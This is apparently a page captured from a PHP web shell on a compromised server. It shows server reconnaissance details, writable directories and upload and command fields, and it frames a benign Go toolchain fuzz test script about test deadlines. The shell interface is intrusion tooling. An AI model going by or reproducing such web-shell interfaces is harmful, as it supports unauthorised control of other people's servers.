403Webshell
Server IP : 217.160.0.212  /  Your IP : 216.73.217.80
Web Server : Apache
System : Linux www 6.18.52-i1-ampere #1203 SMP Mon Sep 14 18:29:59 CEST 2026 aarch64
User : sws1073854427 ( 1073854427)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/lib/go-1.23/src/cmd/go/testdata/script/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/go-1.23/src/cmd/go/testdata/script/test_fuzz_deadline.txt
[!fuzz] skip
[short] skip
env GOCACHE=$WORK/cache

# Warm up the build cache with GOMAXPROCS unrestricted.
go test -c -o $devnull

# For the fuzzing phase, we reduce GOMAXPROCS to avoid consuming too many
# resources during the test. Ideally this would just free up resources to run
# other parallel tests more quickly, but unfortunately it is actually necessary
# in some 32-bit environments to prevent the fuzzing engine from running out of
# address space (see https://go.dev/issue/65434).
env GOMAXPROCS=2

# The fuzz function should be able to detect whether -timeout
# was set with T.Deadline. Note there is no F.Deadline, and
# there is no timeout while fuzzing, even if -fuzztime is set.
go test -run=FuzzDeadline -wantdeadline=true # -timeout defaults to 10m
go test -run=FuzzDeadline -timeout=0 -wantdeadline=false
! go test -run=FuzzDeadline -timeout=1s -wantdeadline=false
go test -run=FuzzDeadline -timeout=1s -wantdeadline=true
go test -fuzz=FuzzDeadline -timeout=0 -fuzztime=1s -wantdeadline=false
go test -fuzz=FuzzDeadline -timeout=0 -fuzztime=100x -wantdeadline=false

-- go.mod --
module fuzz

go 1.16
-- fuzz_deadline_test.go --
package fuzz_test

import (
	"flag"
	"testing"
)

var wantDeadline = flag.Bool("wantdeadline", false, "whether the test should have a deadline")

func FuzzDeadline(f *testing.F) {
	f.Add("run once")
	f.Fuzz(func (t *testing.T, _ string) {
		if _, hasDeadline := t.Deadline(); hasDeadline != *wantDeadline {
			t.Fatalf("function got %v; want %v", hasDeadline, *wantDeadline)
		}
	})
}

Youez - 2016 - github.com/yon3zu
LinuXploit